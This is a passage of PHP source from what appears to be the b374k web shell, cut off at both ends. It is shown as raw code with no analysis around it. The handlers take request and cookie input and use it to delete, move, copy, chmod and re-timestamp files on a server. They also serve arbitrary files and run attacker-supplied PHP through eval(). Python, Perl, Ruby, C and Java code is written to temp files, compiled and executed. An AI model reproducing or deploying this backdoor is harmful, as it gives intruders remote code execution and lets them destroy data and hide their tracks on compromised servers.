"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } } } if(isset($_REQUEST['y'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; if($_REQUEST['y']=='moveok'){ foreach($s_lists as $s_l){ if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders moved

"; else $s_result .= "

no files/folders moved

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if($_REQUEST['y']=='copyok'){ foreach($s_lists as $s_l){ if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders copied

"; else $s_result .= "

no files/folders copied

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if($_REQUEST['y']=='delok'){ foreach($s_lists as $s_l){ if(is_file($s_l)){ if(unlink($s_l)) $s_counter++; } elseif(is_dir($s_l)){ rmdirs($s_l); if(!is_dir($s_l)) $s_counter++; } } if($s_counter>0) $s_result .= "

".$s_counter." files/folders deleted

"; else $s_result .= "

no files/folders deleted

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } } elseif(isset($_REQUEST['chmodok'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; $s_mod = octdec($_REQUEST['chmodok']); foreach($s_lists as $s_l){ if(chmod($s_l,$s_mod)) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed mode to ".decoct($s_mod)."

"; else $s_result .= "

no files/folders modified

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } elseif(isset($_REQUEST['touchok'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; $s_datenew = strtotime($_REQUEST['touchok']); foreach($s_lists as $s_l){ if(touch($s_l,$s_datenew)) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."

"; else $s_result .= "

no files/folders modified

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } // view image specified by ?img= if(isset($_REQUEST['img'])){ ob_clean(); $s_d = ss($_REQUEST['d']); $s_f = ss($_REQUEST['img']); $s_inf = @getimagesize($s_d.$s_f); $s_ext = explode($s_f,"."); $s_ext = $s_ext[count($s_ext)-1]; header("Content-type: ".$s_inf["mime"]); header("Cache-control: public"); header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7));# readfile($s_d.$s_f); exit; } // rename file or folder if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ $s_old = ss($_REQUEST['oldname']); $s_new = ss($_REQUEST['newname']); $s_renmsg = ""; if(is_dir($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; elseif(is_file($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; else $s_renmsg = "Cannot find the path specified ".$s_old; $s_result .= "

".$s_renmsg."

"; $s_fnew = $s_cwd.$s_new; } // confirm delete if(!empty($_REQUEST['del'])){ $s_del = trim($_REQUEST['del']); $s_result .= "

Delete ".basename($s_del)." ? Yes | No

"; }// delete file elseif(!empty($_REQUEST['delete'])){ $s_f = ss($_REQUEST['delete']); $s_delmsg = ""; if(is_file($s_f)){ $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f; } elseif(is_dir($s_f)){ rmdirs($s_f); $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; } else $s_delmsg = "Cannot find the path specified ".$s_f; $s_result .= "

".$s_delmsg."

"; } // create dir elseif(!empty($_REQUEST['mkdir'])){ $s_f = ss($s_cwd.ss($_REQUEST['mkdir'])); $s_dirmsg = ""; $s_num = 1; if(is_dir($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f,0,$s_pos)."_".$s_num; } if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; else $s_dirmsg = "Unable to create directory ".$s_f; $s_result .= "

".$s_dirmsg."

"; } // php eval() function if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){ $s_code = ""; $s_res = ""; $s_gccoption = ""; $s_lang = "php"; if(isset($_REQUEST['evalcode'])){ $s_code = ssc($_REQUEST['evalcode']); $s_gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):""; $s_tmpdir = get_writabledir(); if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];} if(strtolower($s_lang)=='php'){ ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); } elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'){ $s_rand = md5(time().rand(0,100)); $s_script = $s_tmpdir.$s_rand; file_put_contents($s_script, $s_code); if(is_file($s_script)){ $s_res = exe($s_lang." ".$s_script.$s_gccoption); unlink($s_script); } } elseif(strtolower($s_lang)=='gcc'){ $s_script = md5(time().rand(0,100)); chdir($s_tmpdir); file_put_contents($s_script.".c", $s_code); if(is_file($s_script.".c")){ $s_scriptout = $s_win ? $s_script.".exe" : $s_script; $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption); if(is_file($s_scriptout)){ $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); rename($s_scriptout, $s_scriptout."del"); unlink($s_scriptout."del"); } unlink($s_script.".c"); } chdir($s_cwd); } elseif(strtolower($s_lang)=='java'){ if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ $s_classname = trim($s_r[1]); $s_script = $s_classname; } else{ $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); $s_script = $s_rand; $s_code = "class ".$s_rand." { ".$s_code . " } "; } chdir($s_tmpdir); file_put_contents($s_script.".java", $s_code); if(is_file($s_script.".java")){ $s_res = exe("javac ".$s_script.".java"); if(is_file($s_script.".class")){ $s_res .= exe("java ".$s_script.$s_gccoption); unlink($s_script.".class"); } unlink($s_script.".java"); } chdir($s_pwd); } } $s_lang_available = ""; $s_selected = ""; if($s_python){ $s_checked = ($s_lang == "python") ? "selected" : ""; $s_lang_available .= ""; } if($s_perl){ $s_checked = ($s_lang == "perl") ? "selected" : ""; $s_lang_available .= ""; } if($s_ruby){ $s_checked = ($s_lang == "ruby") ? "selected" : ""; $s_lang_available .= ""; } if($s_gcc){ $s_checked = ($s_lang == "gcc") ? "selected" : ""; $s_lang_available .= ""; } if($s_java){ $s_checked = ($s_lang == "java") ? "selected" : ""; $s_lang_available .= ""; } $s_gccoptionclass = ($s_lang=="php")? "sembunyi":""; $s_e_result = (!empty($s_res)) ? "
".hss($s_res)."
":""; $s_result .= "
Additional option
".$s_e_result."
"; } // find elseif(isset($_REQUEST['find'])){ $s_p = cp($_REQUEST['find']); $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked=""; $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false; if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";} if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";} if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";} if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";} if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";} if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";} if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";} if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";} if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";} $s_sexecb = (function_exists("is_executable")) ? "